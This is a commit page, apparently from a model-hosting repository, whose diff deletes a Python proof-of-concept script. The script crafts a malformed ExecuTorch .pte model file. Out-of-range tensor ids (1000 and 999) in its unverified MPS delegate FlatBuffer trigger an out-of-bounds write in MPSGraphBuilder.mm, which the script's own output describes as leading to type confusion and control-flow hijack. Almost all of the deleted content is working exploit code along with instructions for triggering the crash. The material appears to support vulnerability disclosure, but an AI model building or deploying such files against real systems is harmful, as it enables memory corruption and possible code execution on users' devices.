KEEBWZRD commited on
Commit
52324b5
·
verified ·
1 Parent(s): e70817f

Delete craft_malformed_mps_pte.py

Browse files
Files changed (1) hide show
  1. craft_malformed_mps_pte.py +0 -298
craft_malformed_mps_pte.py DELETED
@@ -1,298 +0,0 @@
1
- #!/usr/bin/env python3
2
- """
3
- craft_malformed_mps_pte.py
4
-
5
- Generates a malformed ExecuTorch .pte file that triggers the OOB write in
6
- Apple MPS delegate MPSGraphBuilder.mm:162 when loaded by executor_runner.
7
-
8
- Bug: MPSBackend (MPSBackend.mm:58-64) calls GetMPSGraph(buffer) with no
9
- flatbuffers::Verifier, then MPSGraphBuilder (MPSGraphBuilder.mm:92) resizes
10
- _idToMPSGraphTensor to mps_values()->size() (3 in our payload), then at
11
- line 162 indexes with input_ids[0] = 1000 -- OOB write on a 3-element vector.
12
-
13
- Compare: XNNPACK and Vulkan both have the two-line fix:
14
- flatbuffers::Verifier verifier(data, size);
15
- VerifyXXXBuffer(verifier); // rejects before GetXXX() is ever called
16
-
17
- Usage:
18
- python3 craft_malformed_mps_pte.py
19
- # Produces: malformed_mps.pte
20
- # Run: ./build_asan/executor_runner --model_path malformed_mps.pte
21
-
22
- Expected crash (MPSGraphBuilder.mm:162, OOB write, exit 139 or ASan report):
23
- _idToMPSGraphTensor[1000] = placeholder;
24
- ^^ vector has 3 elements; index 1000 is out of bounds
25
- """
26
-
27
- import sys
28
- import os
29
- import struct
30
-
31
- # ---- FlatBuffers Python library -------------------------------------------
32
- import flatbuffers
33
- from flatbuffers import builder as fb_builder
34
-
35
- # ---- Generated MPS schema bindings (run: flatc --python mps_schema.fbs) ---
36
- sys.path.insert(0, os.path.join(os.path.dirname(__file__), "schemas"))
37
- from mpsgraph import MPSGraph, MPSTensor, MPSDataType
38
-
39
- # ---- Generated Program schema bindings ------------------------------------
40
- from executorch_flatbuffer import (
41
- Program, ExecutionPlan, BackendDelegate, BackendDelegateDataReference,
42
- BackendDelegateInlineData, Chain, Instruction, DelegateCall,
43
- EValue, Tensor, AllocationDetails, CompileSpec
44
- )
45
- from executorch_flatbuffer import DataLocation, TensorShapeDynamism
46
- import executorch_flatbuffer.KernelTypes as KT
47
- import executorch_flatbuffer.InstructionArguments as IA
48
-
49
-
50
- # ---------------------------------------------------------------------------
51
- # Step 1: Build the malformed MPSGraph FlatBuffer
52
- #
53
- # Attack: mps_values has N=3 entries -> _idToMPSGraphTensor.resize(3, nullptr)
54
- # input_ids[0] = 1000 -> _idToMPSGraphTensor[1000] OOB WRITE
55
- # output_ids[0] = 999 -> also OOB
56
- # ---------------------------------------------------------------------------
57
- def build_malformed_mps_flatbuffer() -> bytes:
58
- b = flatbuffers.Builder(512)
59
-
60
- # Build 3 minimal MPSTensor tables (mps_values)
61
- tensor_offsets = []
62
- for _ in range(3):
63
- dims_vec = b.CreateNumpyVector(__import__('numpy').array([1], dtype='int32'))
64
- MPSTensor.MPSTensorStart(b)
65
- MPSTensor.MPSTensorAddDatatype(b, MPSDataType.MPSDataType.mps_data_type_float32) # type 2
66
- MPSTensor.MPSTensorAddNumDims(b, 1)
67
- MPSTensor.MPSTensorAddDims(b, dims_vec)
68
- tensor_offsets.append(MPSTensor.MPSTensorEnd(b))
69
-
70
- # mps_values vector (3 entries)
71
- MPSGraph.MPSGraphStartMpsValuesVector(b, 3)
72
- for off in reversed(tensor_offsets):
73
- b.PrependUOffsetTRelative(off)
74
- mps_values_vec = b.EndVector(3)
75
-
76
- # input_ids = [1000] <- the OOB index
77
- MPSGraph.MPSGraphStartInputIdsVector(b, 1)
78
- b.PrependInt32(1000)
79
- input_ids_vec = b.EndVector(1)
80
-
81
- # output_ids = [999] <- also OOB (for the output path MPSGraphBuilder.mm:120/124)
82
- MPSGraph.MPSGraphStartOutputIdsVector(b, 1)
83
- b.PrependInt32(999)
84
- output_ids_vec = b.EndVector(1)
85
-
86
- # MPSGraph root
87
- MPSGraph.MPSGraphStart(b)
88
- MPSGraph.MPSGraphAddMpsValues(b, mps_values_vec)
89
- MPSGraph.MPSGraphAddInputIds(b, input_ids_vec)
90
- MPSGraph.MPSGraphAddOutputIds(b, output_ids_vec)
91
- mps_graph_root = MPSGraph.MPSGraphEnd(b)
92
-
93
- b.Finish(mps_graph_root)
94
- mps_buf = bytes(b.Output())
95
-
96
- # Patch in the MPS file identifier "MP00" at bytes 4-7
97
- # FlatBuffers layout: [root_offset(4)] [identifier(4)] [data...]
98
- # The builder doesn't add a file identifier by default; patch it manually.
99
- mps_buf = mps_buf[:4] + b"MP00" + mps_buf[8:]
100
-
101
- print(f" [+] MPS FlatBuffer built: {len(mps_buf)} bytes")
102
- print(f" mps_values count : 3 (controls resize)")
103
- print(f" input_ids[0] : 1000 (OOB write at MPSGraphBuilder.mm:162)")
104
- print(f" output_ids[0] : 999 (OOB write at MPSGraphBuilder.mm:120/124)")
105
- return mps_buf
106
-
107
-
108
- # ---------------------------------------------------------------------------
109
- # Step 2: Wrap in an ExecuTorch Program FlatBuffer
110
- #
111
- # Structure:
112
- # Program {
113
- # version: 0
114
- # execution_plan: [ ExecutionPlan {
115
- # name: "forward"
116
- # values: [ EValue(Tensor input), EValue(Tensor output) ]
117
- # inputs: [0]
118
- # outputs: [1]
119
- # chains: [ Chain {
120
- # instructions: [ DelegateCall { delegate_index: 0, args: [0, 1] } ]
121
- # }]
122
- # delegates: [ BackendDelegate {
123
- # id: "mps"
124
- # processed: { location: INLINE, index: 0 } <- backend_delegate_data[0]
125
- # }]
126
- # non_const_buffer_sizes: [0, 1024]
127
- # }]
128
- # backend_delegate_data: [ BackendDelegateInlineData { data: <mps_buf> } ]
129
- # }
130
- # ---------------------------------------------------------------------------
131
- def build_program_pte(mps_payload: bytes) -> bytes:
132
- import numpy as np
133
- b = flatbuffers.Builder(len(mps_payload) + 4096)
134
-
135
- # ---- backend_delegate_data[0]: our crafted MPS payload ----
136
- mps_data_vec = b.CreateByteVector(mps_payload)
137
- BackendDelegateInlineData.BackendDelegateInlineDataStart(b)
138
- BackendDelegateInlineData.BackendDelegateInlineDataAddData(b, mps_data_vec)
139
- inline_data = BackendDelegateInlineData.BackendDelegateInlineDataEnd(b)
140
-
141
- # ---- BackendDelegate: id="mps", processed -> inline index 0 ----
142
- id_str = b.CreateString("mps")
143
-
144
- BackendDelegateDataReference.BackendDelegateDataReferenceStart(b)
145
- BackendDelegateDataReference.BackendDelegateDataReferenceAddLocation(
146
- b, DataLocation.DataLocation.INLINE)
147
- BackendDelegateDataReference.BackendDelegateDataReferenceAddIndex(b, 0)
148
- processed_ref = BackendDelegateDataReference.BackendDelegateDataReferenceEnd(b)
149
-
150
- BackendDelegate.BackendDelegateStart(b)
151
- BackendDelegate.BackendDelegateAddId(b, id_str)
152
- BackendDelegate.BackendDelegateAddProcessed(b, processed_ref)
153
- delegate = BackendDelegate.BackendDelegateEnd(b)
154
-
155
- # ---- DelegateCall: delegate_index=0, args=[0,1] ----
156
- args_vec = b.CreateNumpyVector(np.array([0, 1], dtype='int32'))
157
- DelegateCall.DelegateCallStart(b)
158
- DelegateCall.DelegateCallAddDelegateIndex(b, 0)
159
- DelegateCall.DelegateCallAddArgs(b, args_vec)
160
- dcall = DelegateCall.DelegateCallEnd(b)
161
-
162
- # ---- Instruction wrapping the DelegateCall ----
163
- Instruction.InstructionStart(b)
164
- Instruction.InstructionAddInstrArgsType(b, IA.InstructionArguments.DelegateCall)
165
- Instruction.InstructionAddInstrArgs(b, dcall)
166
- instr = Instruction.InstructionEnd(b)
167
-
168
- # ---- Chain with one instruction ----
169
- instrs_vec = b.CreateNumpyVector(np.array([], dtype='int32')) # placeholder; use manual
170
- Chain.ChainStartInstructionsVector(b, 1)
171
- b.PrependUOffsetTRelative(instr)
172
- instrs_vec = b.EndVector(1)
173
-
174
- Chain.ChainStart(b)
175
- Chain.ChainAddInstructions(b, instrs_vec)
176
- chain = Chain.ChainEnd(b)
177
-
178
- # ---- Two minimal tensors (input and output) ----
179
- # Tensor 0: input (float32, shape [1], mutable -- no data_buffer_idx)
180
- dims0 = b.CreateNumpyVector(np.array([1], dtype='int32'))
181
- dim_order0 = b.CreateNumpyVector(np.array([0], dtype='uint8'))
182
- Tensor.TensorStart(b)
183
- Tensor.TensorAddScalarType(b, 6) # ScalarType.FLOAT = 6
184
- Tensor.TensorAddSizes(b, dims0)
185
- Tensor.TensorAddDimOrder(b, dim_order0)
186
- Tensor.TensorAddShapeDynamism(b, TensorShapeDynamism.TensorShapeDynamism.STATIC)
187
- t0 = Tensor.TensorEnd(b)
188
-
189
- EValue.EValueStart(b)
190
- EValue.EValueAddValType(b, KT.KernelTypes.Tensor)
191
- EValue.EValueAddVal(b, t0)
192
- ev0 = EValue.EValueEnd(b)
193
-
194
- # Tensor 1: output (same shape)
195
- dims1 = b.CreateNumpyVector(np.array([1], dtype='int32'))
196
- dim_order1 = b.CreateNumpyVector(np.array([0], dtype='uint8'))
197
- Tensor.TensorStart(b)
198
- Tensor.TensorAddScalarType(b, 6)
199
- Tensor.TensorAddSizes(b, dims1)
200
- Tensor.TensorAddDimOrder(b, dim_order1)
201
- Tensor.TensorAddShapeDynamism(b, TensorShapeDynamism.TensorShapeDynamism.STATIC)
202
- t1 = Tensor.TensorEnd(b)
203
-
204
- EValue.EValueStart(b)
205
- EValue.EValueAddValType(b, KT.KernelTypes.Tensor)
206
- EValue.EValueAddVal(b, t1)
207
- ev1 = EValue.EValueEnd(b)
208
-
209
- # ---- ExecutionPlan ----
210
- name_str = b.CreateString("forward")
211
-
212
- # values vector [ev0, ev1]
213
- ExecutionPlan.ExecutionPlanStartValuesVector(b, 2)
214
- b.PrependUOffsetTRelative(ev1)
215
- b.PrependUOffsetTRelative(ev0)
216
- values_vec = b.EndVector(2)
217
-
218
- inputs_vec = b.CreateNumpyVector(np.array([0], dtype='int32'))
219
- outputs_vec = b.CreateNumpyVector(np.array([1], dtype='int32'))
220
-
221
- # chains vector [chain]
222
- ExecutionPlan.ExecutionPlanStartChainsVector(b, 1)
223
- b.PrependUOffsetTRelative(chain)
224
- chains_vec = b.EndVector(1)
225
-
226
- # delegates vector [delegate]
227
- ExecutionPlan.ExecutionPlanStartDelegatesVector(b, 1)
228
- b.PrependUOffsetTRelative(delegate)
229
- delegates_vec = b.EndVector(1)
230
-
231
- non_const_sizes = b.CreateNumpyVector(np.array([0, 1024], dtype='int64'))
232
-
233
- ExecutionPlan.ExecutionPlanStart(b)
234
- ExecutionPlan.ExecutionPlanAddName(b, name_str)
235
- ExecutionPlan.ExecutionPlanAddValues(b, values_vec)
236
- ExecutionPlan.ExecutionPlanAddInputs(b, inputs_vec)
237
- ExecutionPlan.ExecutionPlanAddOutputs(b, outputs_vec)
238
- ExecutionPlan.ExecutionPlanAddChains(b, chains_vec)
239
- ExecutionPlan.ExecutionPlanAddDelegates(b, delegates_vec)
240
- ExecutionPlan.ExecutionPlanAddNonConstBufferSizes(b, non_const_sizes)
241
- ep = ExecutionPlan.ExecutionPlanEnd(b)
242
-
243
- # ---- Program ----
244
- # execution_plan vector [ep]
245
- Program.ProgramStartExecutionPlanVector(b, 1)
246
- b.PrependUOffsetTRelative(ep)
247
- ep_vec = b.EndVector(1)
248
-
249
- # backend_delegate_data vector [inline_data]
250
- Program.ProgramStartBackendDelegateDataVector(b, 1)
251
- b.PrependUOffsetTRelative(inline_data)
252
- bdd_vec = b.EndVector(1)
253
-
254
- Program.ProgramStart(b)
255
- Program.ProgramAddVersion(b, 0)
256
- Program.ProgramAddExecutionPlan(b, ep_vec)
257
- Program.ProgramAddBackendDelegateData(b, bdd_vec)
258
- prog = Program.ProgramEnd(b)
259
-
260
- b.Finish(prog)
261
- raw = bytes(b.Output())
262
- # Patch the FlatBuffers file identifier "ET12" into bytes 4-7.
263
- # Layout: [root_offset(4)] [identifier(4)] [data...]
264
- # b.Finish() doesn't set the identifier; we patch it manually.
265
- return raw[:4] + b"ET12" + raw[8:]
266
-
267
-
268
- def main():
269
- print("=== ExecuTorch MPS Delegate Runtime PoC Generator ===")
270
- print("Vuln : MPSGraphBuilder.mm:92,162")
271
- print("CWE : CWE-787 (Out-of-bounds Write)")
272
- print("Impact : ObjC pointer written at attacker-chosen index -> type confusion -> CFH")
273
- print()
274
-
275
- print("[1/2] Building malformed MPSGraph FlatBuffer...")
276
- mps_payload = build_malformed_mps_flatbuffer()
277
-
278
- print()
279
- print("[2/2] Wrapping in ExecuTorch Program FlatBuffer (ET12)...")
280
- pte_bytes = build_program_pte(mps_payload)
281
- print(f" [+] Program FlatBuffer: {len(pte_bytes)} bytes total")
282
-
283
- out_path = os.path.join(os.path.dirname(__file__), "malformed_mps.pte")
284
- with open(out_path, "wb") as f:
285
- f.write(pte_bytes)
286
-
287
- print(f" [+] Written: {out_path}")
288
- print()
289
- print("To trigger the crash:")
290
- print(f" ./build_asan/executor_runner --model_path {out_path}")
291
- print()
292
- print("Expected (MPSGraphBuilder.mm:162, exit 139 or ASan heap-buffer-overflow):")
293
- print(" vector size = 3 (from mps_values()->size())")
294
- print(" input_ids[0] = 1000 -> _idToMPSGraphTensor[1000] -> OOB write -> CRASH")
295
-
296
-
297
- if __name__ == "__main__":
298
- main()